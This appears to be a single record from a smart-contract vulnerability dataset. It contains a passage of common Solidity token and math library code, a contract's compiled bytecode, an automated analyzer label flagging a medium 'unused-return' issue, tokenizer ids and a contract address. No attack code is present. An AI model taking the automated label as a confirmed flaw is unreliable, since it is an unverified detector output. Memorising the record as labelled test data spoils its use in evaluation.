(token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x608060405234801561001057600080fd5b50600436106101425760003560e01c8063a00251c6116100b8578063d33219b41161007c578063d33219b414610480578063de5f6268146104b4578063e8b5e51f146104be578063edaafe20146104c8578063fbfa77cf146104e6578063fff0d8d81461051a57610142565b8063a00251c6146103a4578063a88b5265146103c2578063adc7ea37146103e0578063b9f5be411461040e578063c7b9d5301461043c57610142565b806349bfcca11161010a57806349bfcca1146102c857806355ad9a65146102fc5780636f307dc31461031a578063853828b61461034e5780638971611c146103585780638ca179951461037657610142565b806306fdde03146101475780631071a290146101ca57806319810f3c146101f85780631fe4a6861461022657806320ff430b1461025a575b600080fd5b61014f610548565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018f578082015181840152602081019050610174565b50505050905090810190601f1680156101bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f6600480360360208110156101e057600080fd5b81019080803590602001909291905050506105e6565b005b6102246004803603602081101561020e57600080fd5b8101908080359060200190929190505050610754565b005b61022e6108ba565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102c66004803603606081101561027057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108e0565b005b6102d061096a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610304610990565b6040518082815260200191505060405180910390f35b6103226109b4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103566109da565b005b610360610b34565b6040518082815260200191505060405180910390f35b6103a26004803603602081101561038c57600080fd5b8101908080359060200190929190505050610b3a565b005b6103ac610edc565b6040518082815260200191505060405180910390f35b6103ca610fdd565b6040518082815260200191505060405180910390f35b61040c600480360360208110156103f657600080fd5b8101908080359060200190929190505050611216565b005b61043a6004803603602081101561042457600080fd5b81019080803590602001909291905050506112d2565b005b61047e6004803603602081101561045257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611438565b005b6104886114d6565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104bc6114fc565b005b6104c6611724565b005b6104d06119c2565b6040518082815260200191505060405180910390f35b6104ee6119c8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105466004803603602081101561053057600080fd5b81019080803590602001909291905050506119ec565b005b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105de5780601f106105b3576101008083540402835291602001916105de565b820191906000526020600020905b8154815290600101906020018083116105c157829003601f168201915b505050505081565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061068f5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61069857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d6106df83611cb2565b6040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b15801561071557600080fd5b505af1158015610729573d6000803e3d6000fd5b505050506040513d602081101561073f57600080fd5b81019080805190602001909291905050505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806107fd5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61080657600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d826040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b15801561087b57600080fd5b505af115801561088f573d6000803e3d6000fd5b505050506040513d60208110156108a557600080fd5b81019080805190602001909291905050505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461093a57600080fd5b61096582828573ffffffffffffffffffffffffffffffffffffffff16611e249092919063ffffffff16565b505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f00000000000000000000000000000000000000000000003635c9adc5dea0000081565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610a835750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a8c57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633ccfd60b6040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610af657600080fd5b505af1158015610b0a573d6000803e3d6000fd5b505050506040513d6020811015610b2057600080fd5b810190808051906020019092919050505050565b60045481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b9257600080fd5b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610c1d57600080fd5b505afa158015610c31573d6000803e3d6000fd5b505050506040513d6020811015610c4757600080fd5b8101908080519060200190929190505050905081811015610e6b5760008183039050600454811115610ce1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f52656163686564207769746864726177616c206361700000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d610df76001610d2d85611cb2565b01600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610db757600080fd5b505afa158015610dcb573d6000803e3d6000fd5b505050506040513d6020811015610de157600080fd5b8101908080519060200190929190505050611ec6565b6040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b158015610e2d57600080fd5b505af1158015610e41573d6000803e3d6000fd5b505050506040513d6020811015610e5757600080fd5b810190808051906020019092919050505050505b610ed860008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e249092919063ffffffff16565b5050565b6000610fd8600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610f6a57600080fd5b505afa158015610f7e573d6000803e3d6000fd5b505050506040513d6020811015610f9457600080fd5b8101908080519060200190929190505050610fca6001610fbc610fb5610fdd565b6001611edf565b611ef990919063ffffffff16565b611f4390919063ffffffff16565b905090565b6000611211600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561104a57600080fd5b505afa15801561105e573d6000803e3d6000fd5b505050506040513d602081101561107457600080fd5b810190808051906020019092919050505060ff16600a0a611203600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166399530b066040518163ffffffff1660e01b815260040160206040518083038186803b1580156110f657600080fd5b505afa15801561110a573d6000803e3d6000fd5b505050506040513d602081101561112057600080fd5b8101908080519060200190929190505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156111ba57600080fd5b505afa1580156111ce573d6000803e3d6000fd5b505050506040513d60208110156111e457600080fd5b8101908080519060200190929190505050611fcb90919063ffffffff16565b61205190919063ffffffff16565b905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806112bf5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6112c857600080fd5b8060058190555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061137b5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61138457600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6b55f25826040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b1580156113f957600080fd5b505af115801561140d573d6000803e3d6000fd5b505050506040513d602081101561142357600080fd5b81019080805190602001909291905050505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461149257600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806115a55750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6115ae57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6b55f25600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561167557600080fd5b505afa158015611689573d6000803e3d6000fd5b505050506040513d602081101561169f57600080fd5b81019080805190602001909291905050506040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b1580156116e657600080fd5b505af11580156116fa573d6000803e3d6000fd5b505050506040513d602081101561171057600080fd5b810190808051906020019092919050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461177c57600080fd5b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561180757600080fd5b505afa15801561181b573d6000803e3d6000fd5b505050506040513d602081101561183157600080fd5b810190808051906020019092919050505090506005548111156119bf576000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663153c27c46040518163ffffffff1660e01b815260040160206040518083038186803b1580156118b857600080fd5b505afa1580156118cc573d6000803e3d6000fd5b505050506040513d60208110156118e257600080fd5b8101908080519060200190929190505050905060008111156119bd57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6b55f2561194a600554850384611ec6565b6040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b15801561198057600080fd5b505af1158015611994573d6000803e3d6000fd5b505050506040513d60208110156119aa57600080fd5b8101908080519060200190929190505050505b505b50565b60055481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611a955750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611a9e57600080fd5b7f00000000000000000000000000000000000000000000003635c9adc5dea00000811015611acb57600080fd5b8060048190555050565b6000811480611ba3575060008373ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015611b6657600080fd5b505afa158015611b7a573d6000803e3d6000fd5b505050506040513d6020811015611b9057600080fd5b8101908080519060200190929190505050145b611bf8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603681526020018061260a6036913960400191505060405180910390fd5b611c958363095ea7b360e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505061209b565b505050565b6060611ca9848460008561218a565b90509392505050565b6000611e1d600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166301e1d1146040518163ffffffff1660e01b815260040160206040518083038186803b158015611d1f57600080fd5b505afa158015611d33573d6000803e3d6000fd5b505050506040513d6020811015611d4957600080fd5b8101908080519060200190929190505050611e0f600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015611dc557600080fd5b505afa158015611dd9573d6000803e3d6000fd5b505050506040513d6020811015611def57600080fd5b810190808051906020019092919050505085611fcb90919063ffffffff16565b61205190919063ffffffff16565b9050919050565b611ec18363a9059cbb60e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505061209b565b505050565b6000818310611ed55781611ed7565b825b905092915050565b600081831015611eef5781611ef1565b825b905092915050565b6000611f3b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612333565b905092915050565b600080828401905083811015611fc1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080831415611fde576000905061204b565b6000828402905082848281611fef57fe5b0414612046576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806125bf6021913960400191505060405180910390fd5b809150505b92915050565b600061209383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123f3565b905092915050565b60606120fd826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff16611c9a9092919063ffffffff16565b90506000815111156121855780806020019051602081101561211e57600080fd5b8101908080519060200190929190505050612184576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806125e0602a913960400191505060405180910390fd5b5b505050565b6060824710156121e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806125996026913960400191505060405180910390fd5b6121ee856124b9565b612260576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b602083106122b0578051825260208201915060208101905060208303925061228d565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114612312576040519150601f19603f3d011682016040523d82523d6000602084013e612317565b606091505b50915091506123278282866124cc565b92505050949350505050565b60008383111582906123e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123a557808201518184015260208101905061238a565b50505050905090810190601f1680156123d25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808311829061249f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612464578082015181840152602081019050612449565b50505050905090810190601f1680156124915780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816124ab57fe5b049050809150509392505050565b600080823b905060008111915050919050565b606083156124dc57829050612591565b6000835111156124ef5782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561255657808201518184015260208101905061253b565b50505050905090810190601f1680156125835780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b939250505056fe416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a26469706673582212203ff5f8ed31adf2c0d59c83b9ff72622380d43090fa50f5d496693c7292efbdbc64736f6c63430007030033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2509, 2546, 12376, 2683, 2278, 2575, 2683, 2629, 2278, 4246, 2278, 2546, 19481, 28311, 2620, 2581, 19961, 2575, 2683, 21926, 2575, 24434, 4246, 2620, 2050, 22022, 2497, 24594, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 12325, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1017, 1025, 12324, 1000, 1012, 1012, 1013, 21541, 8609, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 1045, 22123, 11045, 2078, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1012, 1013, 1012, 1012, 1013, 11632, 1013, 4921, 23505, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1012, 1013, 1012, 1012, 1013, 28616, 2278, 1013, 2051, 7878, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,732
0x974060b947164a2add38c569486f14b92e60d7d1
